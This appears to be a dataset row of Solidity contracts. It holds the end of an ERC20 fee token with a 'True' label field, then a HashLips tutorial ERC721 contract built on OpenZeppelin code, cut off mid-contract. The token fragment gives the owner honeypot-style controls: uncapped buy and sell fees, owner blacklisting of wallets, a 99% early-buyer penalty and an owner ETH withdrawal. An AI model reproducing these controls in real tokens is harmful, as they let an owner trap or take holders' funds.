uint256 amount = amountsInTokens[i]*1e18;
_transfer(msg.sender, wallet, amount);
}
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
if(!isEx){
require(updAds != uniswapV2Pair, "Cannot remove uniswap pair from max txn");
}
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_excludeFromMaxTransaction(pair, value);
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee ;
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee ;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if(botWallets[from] || botWallets[to]){
require(botscantrade, "bots arent allowed to trade");
}
if(limitsInEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead)){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
}
else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]){
require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
uint256 penaltyAmount = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty. Tokens get transferred to marketing wallet to allow potential refund.
if(tradingActiveBlock >= block.number + 1 && automatedMarketMakerPairs[from]){
penaltyAmount = amount * 99 / 100;
super._transfer(from, marketingAddress, penaltyAmount);
}
// on sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount * sellTotalFees /100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees + penaltyAmount;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing ;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 10){
contractBalance = swapTokensAtAmount * 10;
}
bool success;
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
swapTokensForEth(contractBalance - liquidityTokens);
uint256 ethBalance = address(this).balance;
uint256 ethForLiquidity = ethBalance;
uint256 ethForMarketing = ethBalance * tokensForMarketing / (totalTokensToSwap - (tokensForLiquidity/2));
ethForLiquidity -= ethForMarketing ;
tokensForLiquidity = 0;
tokensForMarketing = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
}
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
marketingAddress = payable(_marketingAddress);
emit UpdatedMarketingAddress(_marketingAddress);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function setBotsTrade(bool _value) external onlyOwner{
botscantrade = _value;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
// SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
